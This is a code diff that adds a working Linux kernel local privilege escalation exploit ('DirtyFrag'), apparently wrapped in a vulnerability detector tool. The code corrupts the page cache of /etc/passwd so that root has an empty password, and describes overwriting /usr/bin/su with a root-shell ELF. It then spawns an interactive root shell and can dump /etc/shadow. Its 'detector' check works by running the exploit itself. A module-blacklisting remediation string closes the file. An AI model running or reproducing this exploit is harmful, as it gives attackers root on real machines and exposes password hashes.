+ fprintf(stderr, "[*] uid=%u euid=%u gid=%u\n",
+ getuid(), geteuid(), getgid());
+
+ {
+ const char *no_unshare = getenv("POC_NO_UNSHARE");
+ if (!no_unshare || *no_unshare != '1') {
+ const char *do_unshare = getenv("POC_UNSHARE");
+ if (do_unshare && *do_unshare == '1') {
+ if (do_unshare_userns_netns() < 0) return 1;
+ }
+ }
+ }
+
+ /* Open a dummy AF_RXRPC socket to autoload the rxrpc kernel module.
+ * Without this, the first add_key("rxrpc", ...) call fails with ENODEV
+ * because the kernel key type "rxrpc" is registered by rxrpc_init() in
+ * the module load path. */
+ {
+ int dummy = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
+ if (dummy < 0) {
+ WARN("socket(AF_RXRPC): %s — module not loadable?", strerror(errno));
+ return 1;
+ }
+ close(dummy);
+ LOG("rxrpc module autoloaded via dummy socket(AF_RXRPC)");
+ }
+
+ /* Open /etc/passwd RO and mmap the first page (which contains the
+ * root entry on line 1). */
+ const char *target_path = getenv("POC_TARGET_FILE");
+ if (!target_path || !*target_path) target_path = "/etc/passwd";
+
+ int rfd_ro = open(target_path, O_RDONLY);
+ if (rfd_ro < 0) {
+ WARN("open %s RO: %s", target_path, strerror(errno));
+ return 1;
+ }
+ struct stat st;
+ fstat(rfd_ro, &st);
+ if (st.st_size < 32) { WARN("target too small: %lld", (long long)st.st_size); return 1; }
+ LOG("target %s opened RO, size=%lld, uid=%u gid=%u mode=%04o",
+ target_path, (long long)st.st_size, st.st_uid, st.st_gid,
+ st.st_mode & 07777);
+
+ /* mmap first page so the page-cache page stays pinned. */
+ void *map = mmap(NULL, 4096, PROT_READ, MAP_SHARED, rfd_ro, 0);
+ if (map == MAP_FAILED) { WARN("mmap: %s", strerror(errno)); return 1; }
+ LOG("mmap'd %s page-cache at %p (PROT_READ|MAP_SHARED)", target_path, map);
+
+ /* If a previous attempt already left the root entry in the patched
+ * "root::0:0:..." form, treat as success and skip the brute-force /
+ * trigger stages. Otherwise proceed regardless of current state —
+ * the brute-force re-derives K_A/K_B/K_C from whatever bytes are
+ * currently at offsets 4/6/8 of the page-cache page, so it works
+ * even on the corrupt residue from a previous failed run. */
+ {
+ const char *m = (const char *)map;
+ if (memcmp(m, "root::0:0", 9) == 0) {
+ LOG("/etc/passwd already patched (root::0:0...) — nothing to do");
+ return 0;
+ }
+ LOG("/etc/passwd line 1 first 16 bytes:");
+ for (int i = 0; i < 16; i++)
+ fprintf(stderr, "%02x ", (uint8_t)m[i]);
+ fprintf(stderr, "\n");
+ }
+ fprintf(stderr, "[*] /etc/passwd line 1 (root entry) BEFORE: '");
+ for (int i = 0; i < 32; i++) {
+ char c = ((const char *)map)[i];
+ fputc((c == '\n') ? '$' : (c >= 32 && c < 127 ? c : '.'), stderr);
+ }
+ fprintf(stderr, "'\n");
+
+ /* === STAGE 1 — THREE-SPLICE OFFLINE BRUTE FORCE ===
+ *
+ * Read THREE 8-byte ciphertexts at file offsets 4, 6, 8. Search
+ * independently for K_A (chars 4-5 = "::"), K_B (chars 6-7 = "0:"),
+ * K_C (chars 8-15 = "0:GGGGGG:" with G non-control). All searches
+ * are user-space only — no kernel/VM interaction.
+ *
+ * Last-write-wins ordering: trigger A first (covers 4..11), then B
+ * (covers 6..13 — overrides A's 6..11), then C (covers 8..15 —
+ * overrides A's 8..11 and B's 8..13). Final state of chars 4..15:
+ * chars 4..5 = P_A[0..1]
+ * chars 6..7 = P_B[0..1]
+ * chars 8..15 = P_C[0..7]
+ * =================================================================*/
+ uint8_t Ca[8], Cb[8], Cc[8];
+ int off_a = 4, off_b = 6, off_c = 8;
+ if (pread(rfd_ro, Ca, 8, off_a) != 8) { WARN("pread Ca: %s", strerror(errno)); return 1; }
+ if (pread(rfd_ro, Cb, 8, off_b) != 8) { WARN("pread Cb: %s", strerror(errno)); return 1; }
+ if (pread(rfd_ro, Cc, 8, off_c) != 8) { WARN("pread Cc: %s", strerror(errno)); return 1; }
+
+ LOG("Ca @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"",
+ off_a, Ca[0],Ca[1],Ca[2],Ca[3],Ca[4],Ca[5],Ca[6],Ca[7],
+ (Ca[0]>=32&&Ca[0]<127)?Ca[0]:'.', (Ca[1]>=32&&Ca[1]<127)?Ca[1]:'.',
+ (Ca[2]>=32&&Ca[2]<127)?Ca[2]:'.', (Ca[3]>=32&&Ca[3]<127)?Ca[3]:'.',
+ (Ca[4]>=32&&Ca[4]<127)?Ca[4]:'.', (Ca[5]>=32&&Ca[5]<127)?Ca[5]:'.',
+ (Ca[6]>=32&&Ca[6]<127)?Ca[6]:'.', (Ca[7]>=32&&Ca[7]<127)?Ca[7]:'.');
+ LOG("Cb @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"",
+ off_b, Cb[0],Cb[1],Cb[2],Cb[3],Cb[4],Cb[5],Cb[6],Cb[7],
+ (Cb[0]>=32&&Cb[0]<127)?Cb[0]:'.', (Cb[1]>=32&&Cb[1]<127)?Cb[1]:'.',
+ (Cb[2]>=32&&Cb[2]<127)?Cb[2]:'.', (Cb[3]>=32&&Cb[3]<127)?Cb[3]:'.',
+ (Cb[4]>=32&&Cb[4]<127)?Cb[4]:'.', (Cb[5]>=32&&Cb[5]<127)?Cb[5]:'.',
+ (Cb[6]>=32&&Cb[6]<127)?Cb[6]:'.', (Cb[7]>=32&&Cb[7]<127)?Cb[7]:'.');
+ LOG("Cc @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"",
+ off_c, Cc[0],Cc[1],Cc[2],Cc[3],Cc[4],Cc[5],Cc[6],Cc[7],
+ (Cc[0]>=32&&Cc[0]<127)?Cc[0]:'.', (Cc[1]>=32&&Cc[1]<127)?Cc[1]:'.',
+ (Cc[2]>=32&&Cc[2]<127)?Cc[2]:'.', (Cc[3]>=32&&Cc[3]<127)?Cc[3]:'.',
+ (Cc[4]>=32&&Cc[4]<127)?Cc[4]:'.', (Cc[5]>=32&&Cc[5]<127)?Cc[5]:'.',
+ (Cc[6]>=32&&Cc[6]<127)?Cc[6]:'.', (Cc[7]>=32&&Cc[7]<127)?Cc[7]:'.');
+
+ fcrypt_init_sboxes();
+ /* selftest */
+ {
+ fcrypt_uctx ctx;
+ uint8_t z[8] = {0};
+ uint8_t cv[8] = { 0x0E, 0x09, 0x00, 0xC7, 0x3E, 0xF7, 0xED, 0x41 };
+ uint8_t pv[8];
+ fcrypt_user_setkey(&ctx, z);
+ fcrypt_user_decrypt(&ctx, pv, cv);
+ if (memcmp(pv, z, 8) != 0) { WARN("fcrypt selftest FAILED"); return 1; }
+ }
+ LOG("fcrypt selftest OK");
+
+ uint8_t Ka[8], Pa_out[8];
+ uint8_t Kb[8], Pb_out[8];
+ uint8_t Kc[8], Pc_out[8];
+ uint8_t Cb_actual[8], Cc_actual[8];
+
+ {
+ uint64_t max_iters = 10000000000ULL;
+ const char *e = getenv("LPE_MAX_ITERS");
+ if (e) max_iters = strtoull(e, NULL, 0);
+ uint64_t seed_base = (uint64_t)time(NULL) * 0x100000001ULL ^ (uint64_t)getpid();
+ const char *se = getenv("LPE_SEED");
+ if (se) seed_base = strtoull(se, NULL, 0);
+
+ fprintf(stderr, "\n=== STAGE 1a: search K_A (chars 4-5 := \"::\") prob ~1.5e-5 ===\n");
+ if (find_K_offline_generic(Ca, max_iters, fc_check_pa_nullok,
+ Ka, Pa_out, seed_base, "K_A") != 0) {
+ WARN("K_A search exhausted"); return 2;
+ }
+
+ /* After splice A is applied, the ciphertext that splice B will
+ * see at file offset 6 is NOT the original Cb — it's the bytes
+ * that splice A wrote to file offsets 6..11 (= Pa[2..7]) plus
+ * the original bytes 12..13 (= Cb[6..7]). We must derive
+ * Cb_actual and search K_B against it. */
+ memcpy(Cb_actual, Pa_out + 2, 6);
+ memcpy(Cb_actual + 6, Cb + 6, 2);
+ LOG("Cb_actual (after splice A) = %02x%02x%02x%02x%02x%02x%02x%02x",
+ Cb_actual[0],Cb_actual[1],Cb_actual[2],Cb_actual[3],
+ Cb_actual[4],Cb_actual[5],Cb_actual[6],Cb_actual[7]);
+
+ fprintf(stderr, "\n=== STAGE 1b: search K_B (chars 6-7 := \"0:\") prob ~1.5e-5 ===\n");
+ if (find_K_offline_generic(Cb_actual, max_iters, fc_check_pb_nullok,
+ Kb, Pb_out, seed_base ^ 0xa5a5a5a5a5a5a5a5ULL,
+ "K_B") != 0) {
+ WARN("K_B search exhausted"); return 2;
+ }
+
+ /* Same chaining logic for splice C: after splice B, file offsets
+ * 8..13 hold Pb[2..7]; offsets 14..15 still hold the original
+ * bytes Cc[6..7]. */
+ memcpy(Cc_actual, Pb_out + 2, 6);
+ memcpy(Cc_actual + 6, Cc + 6, 2);
+ LOG("Cc_actual (after splice B) = %02x%02x%02x%02x%02x%02x%02x%02x",
+ Cc_actual[0],Cc_actual[1],Cc_actual[2],Cc_actual[3],
+ Cc_actual[4],Cc_actual[5],Cc_actual[6],Cc_actual[7]);
+
+ fprintf(stderr, "\n=== STAGE 1c: search K_C (chars 8-15 := \"0:GGGGGG:\") prob ~5.4e-8 ===\n");
+ if (find_K_offline_generic(Cc_actual, max_iters, fc_check_pc_nullok,
+ Kc, Pc_out, seed_base ^ 0x5a5a5a5a5a5a5a5aULL,
+ "K_C") != 0) {
+ WARN("K_C search exhausted"); return 2;
+ }
+ }
+
+ fprintf(stderr, "\n[+] Predicted post-corruption /etc/passwd line 1:\n \"root");
+ /* chars 4-5 from P_A */
+ for (int i = 0; i < 2; i++) fputc((Pa_out[i]>=32&&Pa_out[i]<127)?Pa_out[i]:'.', stderr);
+ /* chars 6-7 from P_B */
+ for (int i = 0; i < 2; i++) fputc((Pb_out[i]>=32&&Pb_out[i]<127)?Pb_out[i]:'.', stderr);
+ /* chars 8-15 from P_C */
+ for (int i = 0; i < 8; i++) fputc((Pc_out[i]>=32&&Pc_out[i]<127)?Pc_out[i]:'.', stderr);
+ fprintf(stderr, "/root:/bin/bash\"\n");
+
+ /* === STAGE 2 — THREE KERNEL TRIGGERS (in order A → B → C) ===
+ * Each trigger does a single in-place decrypt at the
+ * indicated /etc/passwd file offset. Last-write-wins on overlapping
+ * bytes determines the final state.
+ */
+ fprintf(stderr, "\n=== STAGE 2a: kernel trigger A @ off %d (set chars 4-5 \"::\") ===\n", off_a);
+ memcpy(SESSION_KEY, Ka, 8);
+ if (do_one_trigger(rfd_ro, off_a, 8) < 0) {
+ WARN("kernel trigger A failed"); return 3;
+ }
+
+ fprintf(stderr, "\n=== STAGE 2b: kernel trigger B @ off %d (set chars 6-7 \"0:\") ===\n", off_b);
+ memcpy(SESSION_KEY, Kb, 8);
+ if (do_one_trigger(rfd_ro, off_b, 8) < 0) {
+ WARN("kernel trigger B failed"); return 3;
+ }
+
+ fprintf(stderr, "\n=== STAGE 2c: kernel trigger C @ off %d (set chars 8-15 \"0:GGGGGG:\") ===\n", off_c);
+ memcpy(SESSION_KEY, Kc, 8);
+ if (do_one_trigger(rfd_ro, off_c, 8) < 0) {
+ WARN("kernel trigger C failed"); return 3;
+ }
+
+ /* Verify: re-read line 1 of /etc/passwd via mmap. */
+ fprintf(stderr, "[*] /etc/passwd line 1 (root entry) AFTER: '");
+ for (int i = 0; i < 32; i++) {
+ char c = ((const char *)map)[i];
+ fputc((c == '\n') ? '$' : (c >= 32 && c < 127 ? c : '.'), stderr);
+ }
+ fprintf(stderr, "'\n");
+
+ /* Sanity-check: chars 4-5 = "::", 6-7 = "0:", 8-9 = "0:", 15 = ':'. */
+ {
+ const char *m = (const char *)map;
+ int ok = (m[4] == ':' && m[5] == ':' &&
+ m[6] == '0' && m[7] == ':' &&
+ m[8] == '0' && m[9] == ':' &&
+ m[15] == ':');
+ if (!ok) {
+ WARN("post-trigger sanity check failed — char layout off");
+ return 4;
+ }
+ }
+ fprintf(stderr,
+ "\n[!!!] HIT — root entry now has empty passwd field, uid=0, "
+ "gid=0, dir=/root, shell=/bin/bash.\n");
+
+ /* === STAGE 3 — VERIFY VIA getent passwd root === */
+ fprintf(stderr,
+ "\n=== STAGE 3: independent verify via `getent passwd root` ===\n");
+ {
+ int p[2];
+ if (pipe(p) == 0) {
+ pid_t pid = fork();
+ if (pid == 0) {
+ close(p[0]);
+ dup2(p[1], 1);
+ dup2(p[1], 2);
+ close(p[1]);
+ execlp("getent", "getent", "passwd", "root", NULL);
+ _exit(127);
+ }
+ close(p[1]);
+ char buf[1024];
+ ssize_t r = read(p[0], buf, sizeof(buf) - 1);
+ close(p[0]);
+ int wstatus = 0;
+ waitpid(pid, &wstatus, 0);
+ if (r > 0) {
+ buf[r] = 0;
+ fprintf(stderr, "[getent passwd root] %s", buf);
+ }
+ fprintf(stderr,
+ "[+] PRIMITIVE proven: root entry has empty passwd field "
+ "via NSS.\n");
+ }
+ }
+
+ /* Honour `--corrupt-only` arg or DIRTYFRAG_CORRUPT_ONLY=1 env so
+ * the chain wrapper can skip the in-process su PTY stage and exec
+ * /usr/bin/su itself. Avoids the flaky posix_openpt bridge. */
+ {
+ int co_flag = 0;
+ for (int i = 1; i < argc; i++)
+ if (!strcmp(argv[i], "--corrupt-only")) { co_flag = 1; break; }
+ const char *e = getenv("DIRTYFRAG_CORRUPT_ONLY");
+ if (e && *e == '1') co_flag = 1;
+ if (co_flag) return 0;
+ }
+
+ /* === STAGE 4 — `su` (target=root, no password input) ===
+ * PAM common-auth contains "auth [success=2 default=ignore]
+ * pam_unix.so nullok" — so a target user with empty passwd field
+ * + nullok flag accepts an empty password. We auto-inject a
+ * single newline on the "Password:" prompt and then bridge the
+ * resulting bash to the user's tty. */
+ fprintf(stderr,
+ "\n=== STAGE 4: spawning interactive root shell via `su` "
+ "(no password input needed) ===\n\n");
+ fflush(stderr);
+
+ int master = posix_openpt(O_RDWR | O_NOCTTY);
+ if (master < 0 || grantpt(master) < 0 || unlockpt(master) < 0) {
+ WARN("posix_openpt: %s", strerror(errno));
+ return 5;
+ }
+ char *slave_name = ptsname(master);
+
+ struct winsize ws;
+ if (ioctl(STDIN_FILENO, TIOCGWINSZ, &ws) == 0) {
+ ioctl(master, TIOCSWINSZ, &ws);
+ }
+
+ pid_t pid = fork();
+ if (pid < 0) { WARN("fork: %s", strerror(errno)); return 5; }
+ if (pid == 0) {
+ /* child */
+ setsid();
+ int slave = open(slave_name, O_RDWR);
+ if (slave < 0) _exit(127);
+ ioctl(slave, TIOCSCTTY, 0);
+ dup2(slave, 0); dup2(slave, 1); dup2(slave, 2);
+ if (slave > 2) close(slave);
+ close(master);
+ /* `su` with no args targets root. PAM common-auth's pam_unix.so
+ * nullok accepts the empty passwd we planted in /etc/passwd. */
+ execlp("su", "su", NULL);
+ _exit(127);
+ }
+
+ /* parent: bridge user's tty <-> master. */
+ struct termios saved_termios;
+ int saved_termios_ok = (tcgetattr(STDIN_FILENO, &saved_termios) == 0);
+ if (saved_termios_ok) {
+ struct termios raw = saved_termios;
+ cfmakeraw(&raw);
+ tcsetattr(STDIN_FILENO, TCSANOW, &raw);
+ }
+
+ int auto_pw_sent = 0;
+ int stdin_eof = 0; /* set when stdin closes (e.g. /dev/null) */
+ char buf[4096];
+ /* If LPE_AUTO_VERIFY=1 is set, the bridge will inject
+ * `id; whoami; exit\n` so it can prove uid=0 non-interactively
+ * (e.g. when stdin is /dev/null in CI). */
+ int auto_verify = 0;
+ {
+ const char *e = getenv("LPE_AUTO_VERIFY");
+ if (e && *e == '1') auto_verify = 1;
+ }
+ int verify_sent = 0;
+ int total_ms = 0;
+ for (;;) {
+ struct pollfd pfds[2] = {
+ { stdin_eof ? -1 : STDIN_FILENO, POLLIN, 0 },
+ { master, POLLIN, 0 },
+ };
+ int pr = poll(pfds, 2, 200);
+ if (pr < 0 && errno != EINTR) break;
+ total_ms += 200;
+
+ if (pfds[1].revents & POLLIN) {
+ ssize_t n = read(master, buf, sizeof(buf));
+ if (n <= 0) break;
+ (void)write(STDOUT_FILENO, buf, n);
+ if (!auto_pw_sent && (size_t)n < sizeof(buf)) {
+ buf[n] = 0;
+ if (strstr(buf, "Password") || strstr(buf, "password")) {
+ /* Empty password — PAM nullok will accept it.
+ * (When pam_unix sees an empty passwd field plus
+ * nullok it skips the prompt entirely; this branch
+ * handles the case where some other PAM module
+ * prints a prompt anyway.) */
+ (void)write(master, "\n", 1);
+ auto_pw_sent = 1;
+ }
+ }
+ }
+ if (!stdin_eof && (pfds[0].revents & POLLIN)) {
+ ssize_t n = read(STDIN_FILENO, buf, sizeof(buf));
+ if (n <= 0) {
+ /* stdin EOF — stop reading from it but keep bridging
+ * master → stdout so su can still finish auth and run
+ * the optional auto-verify command. */
+ stdin_eof = 1;
+ } else {
+ (void)write(master, buf, n);
+ }
+ }
+ if (pfds[1].revents & (POLLHUP | POLLERR)) break;
+
+ /* Auto-verify: ~1 s after spawn, send `id; whoami; exit\n` so
+ * the bridge captures uid=0 evidence non-interactively even
+ * when pam_unix's blank-passwd path skips the prompt. */
+ if (auto_verify && !verify_sent && total_ms >= 1000) {
+ const char cmd[] = "id; whoami; cat /etc/shadow | head -2; exit\n";
+ (void)write(master, cmd, sizeof(cmd) - 1);
+ verify_sent = 1;
+ }
+
+ int status;
+ pid_t w = waitpid(pid, &status, WNOHANG);
+ if (w == pid) {
+ for (int i = 0; i < 5; i++) {
+ struct pollfd pf = { master, POLLIN, 0 };
+ if (poll(&pf, 1, 50) <= 0) break;
+ ssize_t n = read(master, buf, sizeof(buf));
+ if (n <= 0) break;
+ (void)write(STDOUT_FILENO, buf, n);
+ }
+ break;
+ }
+ }
+ if (saved_termios_ok) {
+ tcsetattr(STDIN_FILENO, TCSANOW, &saved_termios);
+ }
+ close(master);
+ return 0;
+}
+/*
+ * DirtyFrag chain — uid=1000 → root.
+ *
+ * 1. ESP path (authencesn AF_ALG --corrupt-only): overwrites the first
+ * 160 bytes of /usr/bin/su's page-cache with a static x86_64 root-
+ * shell ELF. Works on every distro tested regardless of PAM nullok
+ * or /etc/passwd contents — once invoked, the patched setuid-root
+ * /usr/bin/su just execs /bin/sh as uid 0.
+ *
+ * 2. rxrpc path (Ubuntu fallback): if AF_ALG is sandboxed and the ESP
+ * path can't reach the page cache, fall back to the rxrpc/rxkad
+ * nullok primitive that patches /etc/passwd's root entry empty.
+ * PAM nullok then accepts the empty password during `su -`.
+ *
+ * 3. Once either target is corrupted, spawn `/usr/bin/su -` inside a
+ * fresh PTY and bridge the user's tty to it. The bridge handles
+ * both the patched-su (no PAM at all) and the patched-passwd (PAM
+ * nullok) cases uniformly, and works even when the caller is in a
+ * background process group of an ssh-allocated PTY.
+ *
+ */
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <sched.h>
+#include <poll.h>
+#include <signal.h>
+#include <termios.h>
+#include <sys/ioctl.h>
+#include <sys/wait.h>
+#include <sys/types.h>
+#include <stdint.h>
+
+extern int su_lpe_main(int argc, char **argv);
+extern int rxrpc_lpe_main(int argc, char **argv);
+
+/*
+ * The 8 bytes our su payload places at file offset 0x78 — the first
+ * instructions of the embedded shell ELF. Sequence:
+ * 31 ff xor edi, edi
+ * 31 f6 xor esi, esi
+ * 31 c0 xor eax, eax
+ * b0 6a mov al, 0x6a (setgid)
+ * Distros' original /usr/bin/su has different bytes here, so this is
+ * a reliable post-patch marker.
+ *
+ * (We don't check offset 0 because /usr/bin/su already has the ELF
+ * magic there — both before and after we patch.)
+ */
+static const uint8_t su_marker[8] = {
+ 0x31, 0xff, 0x31, 0xf6, 0x31, 0xc0, 0xb0, 0x6a,
+};
+
+static int su_already_patched(void)
+{
+ int fd = open("/usr/bin/su", O_RDONLY);
+ if (fd < 0)
+ return 0;
+ uint8_t got[8];
+ ssize_t n = pread(fd, got, sizeof(got), 0x78);
+ close(fd);
+ if (n != sizeof(got))
+ return 0;
+ return memcmp(got, su_marker, sizeof(su_marker)) == 0;
+}
+
+static int passwd_already_patched(void)
+{
+ int fd = open("/etc/passwd", O_RDONLY);
+ if (fd < 0)
+ return 0;
+ char head[16];
+ ssize_t n = pread(fd, head, sizeof(head), 0);
+ close(fd);
+ if (n < 9)
+ return 0;
+ return memcmp(head, "root::0:0", 9) == 0;
+}
+
+static int either_target_patched(void)
+{
+ return su_already_patched() || passwd_already_patched();
+}
+
+static void silence_stderr(int *saved_fd)
+{
+ *saved_fd = dup(STDERR_FILENO);
+ int dn = open("/dev/null", O_WRONLY);
+ if (dn >= 0) {
+ dup2(dn, STDERR_FILENO);
+ close(dn);
+ }
+}
+
+static void restore_stderr(int saved_fd)
+{
+ if (saved_fd >= 0) {
+ dup2(saved_fd, STDERR_FILENO);
+ close(saved_fd);
+ }
+}
+
+static char **append_corrupt_only(int argc, char **argv, int *new_argc)
+{
+ static char *flag = "--corrupt-only";
+ static char *buf[64];
+ int n = argc < 60 ? argc : 60;
+ for (int i = 0; i < n; i++)
+ buf[i] = argv[i];
+ buf[n] = flag;
+ buf[n + 1] = NULL;
+ *new_argc = n + 1;
+ return buf;
+}
+
+static void exec_su_login(void)
+{
+ const char *paths[] = {
+ "/bin/su", "/usr/bin/su", "/sbin/su", "/usr/sbin/su", NULL,
+ };
+ for (int i = 0; paths[i]; i++)
+ execl(paths[i], "su", "-", (char *)NULL);
+ execlp("su", "su", "-", (char *)NULL);
+}
+
+/*
+ * Spawn `/usr/bin/su -` in a fresh PTY and bridge our tty to it.
+ */
+static int run_root_pty(void)
+{
+ int master = posix_openpt(O_RDWR | O_NOCTTY);
+ if (master < 0)
+ return -1;
+ if (grantpt(master) < 0 || unlockpt(master) < 0) {
+ close(master);
+ return -1;
+ }
+ char *slave_name = ptsname(master);
+ if (!slave_name) {
+ close(master);
+ return -1;
+ }
+
+ struct winsize ws;
+ if (ioctl(STDIN_FILENO, TIOCGWINSZ, &ws) == 0)
+ ioctl(master, TIOCSWINSZ, &ws);
+
+ pid_t pid = fork();
+ if (pid < 0) {
+ close(master);
+ return -1;
+ }
+ if (pid == 0) {
+ setsid();
+ int slave = open(slave_name, O_RDWR);
+ if (slave < 0)
+ _exit(127);
+ ioctl(slave, TIOCSCTTY, 0);
+ dup2(slave, 0);
+ dup2(slave, 1);
+ dup2(slave, 2);
+ if (slave > 2)
+ close(slave);
+ close(master);
+ exec_su_login();
+ _exit(127);
+ }
+
+ signal(SIGTTOU, SIG_IGN);
+ signal(SIGTTIN, SIG_IGN);
+ signal(SIGPIPE, SIG_IGN);
+ signal(SIGHUP, SIG_IGN);
+ (void)setpgid(0, 0);
+ (void)tcsetpgrp(STDIN_FILENO, getpid());
+
+ struct termios saved_termios;
+ int restore_termios = 0;
+ if (tcgetattr(STDIN_FILENO, &saved_termios) == 0) {
+ struct termios raw = saved_termios;
+ cfmakeraw(&raw);
+ if (tcsetattr(STDIN_FILENO, TCSANOW, &raw) == 0)
+ restore_termios = 1;
+ }
+
+ int auto_pw_sent = 0;
+ int stdin_eof = 0;
+ int saw_master_output = 0;
+ int total_ms = 0;
+ char buf[4096];
+
+ for (;;) {
+ struct pollfd pfds[2] = {
+ { stdin_eof ? -1 : STDIN_FILENO, POLLIN, 0 },
+ { master, POLLIN, 0 },
+ };
+ int pr = poll(pfds, 2, 200);
+ if (pr < 0 && errno != EINTR)
+ break;
+ total_ms += 200;
+
+ if (pfds[1].revents & POLLIN) {
+ ssize_t n = read(master, buf, sizeof(buf));
+ if (n <= 0)
+ break;
+ saw_master_output = 1;
+ (void)write(STDOUT_FILENO, buf, n);
+ if (!auto_pw_sent && n < (ssize_t)sizeof(buf)) {
+ buf[n] = 0;
+ if (strstr(buf, "Password") ||
+ strstr(buf, "password")) {
+ (void)write(master, "\n", 1);
+ auto_pw_sent = 1;
+ }
+ }
+ }
+ if (!stdin_eof && (pfds[0].revents & POLLIN)) {
+ ssize_t n = read(STDIN_FILENO, buf, sizeof(buf));
+ if (n <= 0)
+ stdin_eof = 1;
+ else
+ (void)write(master, buf, n);
+ }
+ if (pfds[1].revents & (POLLHUP | POLLERR))
+ break;
+
+ if (!auto_pw_sent && !saw_master_output && total_ms >= 1500) {
+ (void)write(master, "\n", 1);
+ auto_pw_sent = 1;
+ }
+
+ int status;
+ pid_t w = waitpid(pid, &status, WNOHANG);
+ if (w == pid) {
+ for (int i = 0; i < 5; i++) {
+ struct pollfd pf = { master, POLLIN, 0 };
+ if (poll(&pf, 1, 50) <= 0)
+ break;
+ ssize_t n = read(master, buf, sizeof(buf));
+ if (n <= 0)
+ break;
+ (void)write(STDOUT_FILENO, buf, n);
+ }
+ break;
+ }
+ }
+
+ if (restore_termios)
+ tcsetattr(STDIN_FILENO, TCSANOW, &saved_termios);
+ close(master);
+ return 0;
+}
+
+int main(int argc, char **argv)
+{
+ int verbose = (getenv("DIRTYFRAG_VERBOSE") != NULL);
+ int force_esp = 0, force_rxrpc = 0;
+ int saved_err = -1;
+ int rc = 1;
+ int new_argc;
+ char **co_argv;
+
+ for (int i = 1; i < argc; i++) {
+ if (!strcmp(argv[i], "--force-esp"))
+ force_esp = 1;
+ else if (!strcmp(argv[i], "--force-rxrpc"))
+ force_rxrpc = 1;
+ else if (!strcmp(argv[i], "-v") ||
+ !strcmp(argv[i], "--verbose"))
+ verbose = 1;
+ }
+
+ if (getuid() == 0) {
+ execlp("/bin/bash", "bash", (char *)NULL);
+ _exit(1);
+ }
+
+ co_argv = append_corrupt_only(argc, argv, &new_argc);
+
+ if (!verbose)
+ silence_stderr(&saved_err);
+
+ if (force_rxrpc) {
+ rc = rxrpc_lpe_main(new_argc, co_argv);
+ for (int i = 0; !passwd_already_patched() && i < 3; i++)
+ rc = rxrpc_lpe_main(new_argc, co_argv);
+ } else if (force_esp) {
+ rc = su_lpe_main(new_argc, co_argv);
+ } else {
+ rc = su_lpe_main(new_argc, co_argv);
+ if (!su_already_patched()) {
+ rc = rxrpc_lpe_main(new_argc, co_argv);
+ for (int i = 0; !passwd_already_patched() && i < 3; i++)
+ rc = rxrpc_lpe_main(new_argc, co_argv);
+ }
+ }
+
+ int patched = either_target_patched();
+
+ if (!verbose)
+ restore_stderr(saved_err);
+
+ if (patched) {
+ (void)run_root_pty();
+ return 0;
+ }
+
+ dprintf(2, "dirtyfrag: failed (rc=%d)\n", rc);
+ return rc ? rc : 1;
+}
+
+#include "setup.h"
+
+/* ---- detector plumbing ---- */
+
+static int detector_su_already_patched(void) {
+ static const uint8_t marker[8] = {
+ 0x31, 0xff, 0x31, 0xf6, 0x31, 0xc0, 0xb0, 0x6a,
+ };
+ int fd = open("/usr/bin/su", O_RDONLY);
+ if (fd < 0) return 0;
+ uint8_t got[8];
+ ssize_t n = pread(fd, got, sizeof(got), 0x78);
+ close(fd);
+ if (n != sizeof(got)) return 0;
+ return memcmp(got, marker, sizeof(got)) == 0;
+}
+
+static int detector_passwd_already_patched(void) {
+ int fd = open("/etc/passwd", O_RDONLY);
+ if (fd < 0) return 0;
+ char head[16];
+ ssize_t n = pread(fd, head, sizeof(head), 0);
+ close(fd);
+ if (n < 9) return 0;
+ return memcmp(head, "root::0:0", 9) == 0;
+}
+
+int detector_dirtyfrag(int num) {
+ (void)num;
+
+ if (detector_su_already_patched() || detector_passwd_already_patched())
+ return 1;
+
+ { /* ESP / xfrm path */
+ char *argv[] = {"dirtyfrag", "--corrupt-only", NULL};
+ if (su_lpe_main(2, argv) == 0 && detector_su_already_patched())
+ return 1;
+ }
+
+ { /* rxrpc / rxkad fallback */
+ setenv("DIRTYFRAG_CORRUPT_ONLY", "1", 1);
+ char *argv[] = {"dirtyfrag", "--corrupt-only", NULL};
+ int rc = rxrpc_lpe_main(2, argv);
+ unsetenv("DIRTYFRAG_CORRUPT_ONLY");
+ if (rc == 0 && detector_passwd_already_patched())
+ return 1;
+ }
+
+ return 0;
+}
+
+__attribute__((constructor)) void detector_dirtyfrag_setup(void) {
+ detector_queue_append("dirtyfrag",
+ "Dirty Frag (xfrm-ESP Page-Cache Write): "
+ "Run the following to blacklist vulnerable modules:\n"
+ " sh -c \"printf 'install esp4 /bin/false\\ninstall esp6 /bin/false\\n"
+ "install rxrpc /bin/false\\n' > /etc/modprobe.d/dirtyfrag.conf; "
+ "rmmod esp4 esp6 rxrpc 2>/dev/null; true\"\n"
+ " Then update your kernel once distribution patches are available.",
+ detector_dirtyfrag);
+}
diff --git a/src/main.c b/src/main.c
@@ -35,7 +35,7 @@ int main() {
for (int i = 0; i < detector_queue_length; i++) {
struct detector_queue_entry *entry = detector_queue[i];
if (entry->result && entry->remediation) {
- printf("%s:\n %s\n", entry->name, entry->remediation);
+ printf("\n%s:\n %s\n", entry->name, entry->remediation);
}
}
}
